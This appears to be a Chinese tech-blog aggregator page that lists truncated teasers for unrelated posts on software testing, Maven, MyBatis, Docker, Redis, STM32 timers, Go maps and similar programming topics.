对很多测试人员(尤其是对新手来说)在工作过程中最不愿遇到的一件事情就是:在测试过 程中发现了一个问题,觉得是 bug,再试的时候又正常了。 碰到这样的事情,职业素养和测试人员长期养成的死磕的习性会让她…...
我与足球的故事 | 10年的热爱 | 伤病 | 悔恨 | 放弃 or 继续 | 小学生的碎碎念罢了
今天不分享技术博客,今天不知道为什么就是想写我和足球的故事(手术完两个礼拜,手还是很疼那个,就连打字都费劲),上面两张图是我最喜欢的两个球星,当然因为之前特别喜欢巴萨,也特别喜…...
js图片回显的方法
直接上代码: <!DOCTYPE html> <html><head><meta charset"utf-8"><title></title></head><body>// HTML部分<input type"file" id"fileInput"><button onclick"show…...
Java中的maven的安装和配置
maven的作用 依赖管理 方便快捷的管理项目依赖的资源,避免版本冲突问题 统一项目管理 提供标准,统一的项目结构 项目构建 标准跨平台(Linux、windows、MacOS)的自动化项目构建方式 maven的安装和配置 在maven官网下载maven Ma…...
轴承制造企业“数智化”突破口
轴承是当代机械设备中一种重要零部件。它的主要功能是支撑机械旋转体,降低其运动过程中的摩擦系数,并保证其回转精度。轴承是工业核心基础零部件,对国民经济发展和国防建设起着重要的支撑作用。 轴承企业普遍采用以销定产的经营模式…...
UIButton案例之添加动画
需求 基于上一节代码进行精简,降低了冗余性。添加动画,使得坐标变化自然,同时使用了bounds属性和center属性,使得UIView变化以中心点为基准。 此外,使用两种方式添加动画:1.原始方式。 2.block方式。 代码…...
C#链接数据库、操作sql、选择串口
// 公共增删方法 using MySql.Data.MySqlClient; using System.Data; namespace ****** {public class MySQLHelper{private MySqlConnection conn null;private MySqlCommand comm null;private MySqlDataReader reader null;/// <summary>/// 构造方法里建议连…...
本地搭建各大直播平台录屏服务结合内网穿透工具实现远程管理录屏任务
文章目录 1. Bililive-go与套件下载1.1 获取ffmpeg1.2 获取Bililive-go1.3 配置套件 2. 本地运行测试3. 录屏设置演示4. 内网穿透工具下载安装5. 配置Bililive-go公网地址6. 配置固定公网地址 本文主要介绍如何在Windows系统电脑本地部署直播录屏利器Bililive-go,并…...
macos使用yarn创建vite时出现Usage Error: The nearest package directory问题
步骤是macos上使用了yarn create vite在window上是直接可以使用了yarn但是在macos上就出现报错 我们仔细看,它说的If /Users/chentianyu isnt intended to be a project, remove any yarn.lock and/or package.json file there.说是要我们清除yarn.lock和package.js…...
【JAVA入门】Day04 - 方法
【JAVA入门】Day04 - 方法 文章目录 【JAVA入门】Day04 - 方法一、方法的格式1.1 无参无返回值的方法定义和调用1.2 带参数的方法定义和调用1.3 形参和实参1.4 带返回值的方法定义和调用1.5 方法的注意事项 二、方法的重载三、方法的使用四、方法的内存原理4.1 方法调用的基本内…...
前端报错 SyntaxError: Unexpected number in JSON at position xxxx at JSON.parse
问题描述 控制台提示 SyntaxError: Unexpected number in JSON at position xxxx at JSON.parse 问题原因 原因:JSON 数据格式错误,是否符合 JSON 格式。 解决方法 应为json格式数据 什么是json格式数据 JSON(JavaScript Object …...
Mybatis进阶详细用法
目录 条件构造器 案例 自定义SQL 案例 Service接口 案例 综合案例 条件构造器 案例 Testvoid testQueryMapper() {// 创建 QueryWrapper 实例QueryWrapper<User> queryWrapper new QueryWrapper<>();queryWrapper.select("id," "username,&…...
Android 系统省电软件分析
1、硬件耗电 主要有: 1、屏幕 2、CPU 3、WLAN 4、感应器 5、GPS(目前我们没有) 电量其实是目前手持设备最宝贵的资源之一,大多数设备都需要不断的充电来维持继续使用。不幸的是,对于开发者来说,电量优化是他们最后才会考虑的的事情…...
了解什么是Docker
了解什么是Docker Docker 是一个开源的应用容器引擎,它允许开发者打包应用以及依赖包到一个可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口(类…...
ChatGPT开源的whisper音频生成字幕
1、前言 好了,那接下来看一下whisper开源库的介绍 有五种模型大小,其中四种仅支持英语,提供速度和准确性的权衡。上面便是可用模型的名称、大致的内存需求和相对速度。如果是英文版的语音,直接想转换为英文。 本来我是想直接在我的…...
融知财经:期货和现货的区别是什么?哪个风险大?
期货和现货在交易对象等方面存在明显的区别。期货交易是一种衍生金融工具,主要用于价格发现、风险管理和投机,而现货交易则是商品和服务的实际买卖。在选择进行期货交易还是现货交易时,投资者需要根据自己的需求和市场情况来决定。 期货和现货…...
Android Studio开发之路(十)app中使用aar以及报错记录
书接上文:Android Studio开发之路(九)创建android library以及生成aar文件 五、app中使用aar文件的方法 先复制一下上面生成的aar文件。然后在你要添加到的app左上角选择“project”模式,然后找到libs文件夹,点击右键…...
龙虎榜——20250610
上证指数放量收阴线,个股多数下跌,盘中受消息影响大幅波动。 深证指数放量收阴线形成顶分型,指数短线有调整的需求,大概需要一两天。 2025年6月10日龙虎榜行业方向分析 1. 金融科技 代表标的:御银股份、雄帝科技 驱动…...
多云管理“拦路虎”:深入解析网络互联、身份同步与成本可视化的技术复杂度
一、引言:多云环境的技术复杂性本质 企业采用多云策略已从技术选型升维至生存刚需。当业务系统分散部署在多个云平台时,基础设施的技术债呈现指数级积累。网络连接、身份认证、成本管理这三大核心挑战相互嵌套:跨云网络构建数据…...
Golang 面试经典题:map 的 key 可以是什么类型?哪些不可以?
Golang 面试经典题:map 的 key 可以是什么类型?哪些不可以? 在 Golang 的面试中,map 类型的使用是一个常见的考点,其中对 key 类型的合法性 是一道常被提及的基础却很容易被忽视的问题。本文将带你深入理解 Golang 中…...
Python:操作 Excel 折叠
💖亲爱的技术爱好者们,热烈欢迎来到 Kant2048 的博客!我是 Thomas Kant,很开心能在CSDN上与你们相遇~💖 本博客的精华专栏: 【自动化测试】 【测试经验】 【人工智能】 【Python】 Python 操作 Excel 系列 读取单元格数据按行写入设置行高和列宽自动调整行高和列宽水平…...
【解密LSTM、GRU如何解决传统RNN梯度消失问题】
解密LSTM与GRU:如何让RNN变得更聪明? 在深度学习的世界里,循环神经网络(RNN)以其卓越的序列数据处理能力广泛应用于自然语言处理、时间序列预测等领域。然而,传统RNN存在的一个严重问题——梯度消失&#…...
STM32F4基本定时器使用和原理详解
STM32F4基本定时器使用和原理详解 前言如何确定定时器挂载在哪条时钟线上配置及使用方法参数配置PrescalerCounter ModeCounter Periodauto-reload preloadTrigger Event Selection 中断配置生成的代码及使用方法初始化代码基本定时器触发DCA或者ADC的代码讲解中断代码定时启动…...
django filter 统计数量 按属性去重
在Django中,如果你想要根据某个属性对查询集进行去重并统计数量,你可以使用values()方法配合annotate()方法来实现。这里有两种常见的方法来完成这个需求: 方法1:使用annotate()和Count 假设你有一个模型Item,并且你想…...
Mac软件卸载指南,简单易懂!
刚和Adobe分手,它却总在Library里给你写"回忆录"?卸载的Final Cut Pro像电子幽灵般阴魂不散?总是会有残留文件,别慌!这份Mac软件卸载指南,将用最硬核的方式教你"数字分手术"࿰…...
Redis数据倾斜问题解决
Redis 数据倾斜问题解析与解决方案 什么是 Redis 数据倾斜 Redis 数据倾斜指的是在 Redis 集群中,部分节点存储的数据量或访问量远高于其他节点,导致这些节点负载过高,影响整体性能。 数据倾斜的主要表现 部分节点内存使用率远高于其他节…...
七、数据库的完整性
七、数据库的完整性 主要内容 7.1 数据库的完整性概述 7.2 实体完整性 7.3 参照完整性 7.4 用户定义的完整性 7.5 触发器 7.6 SQL Server中数据库完整性的实现 7.7 小结 7.1 数据库的完整性概述 数据库完整性的含义 正确性 指数据的合法性 有效性 指数据是否属于所定…...
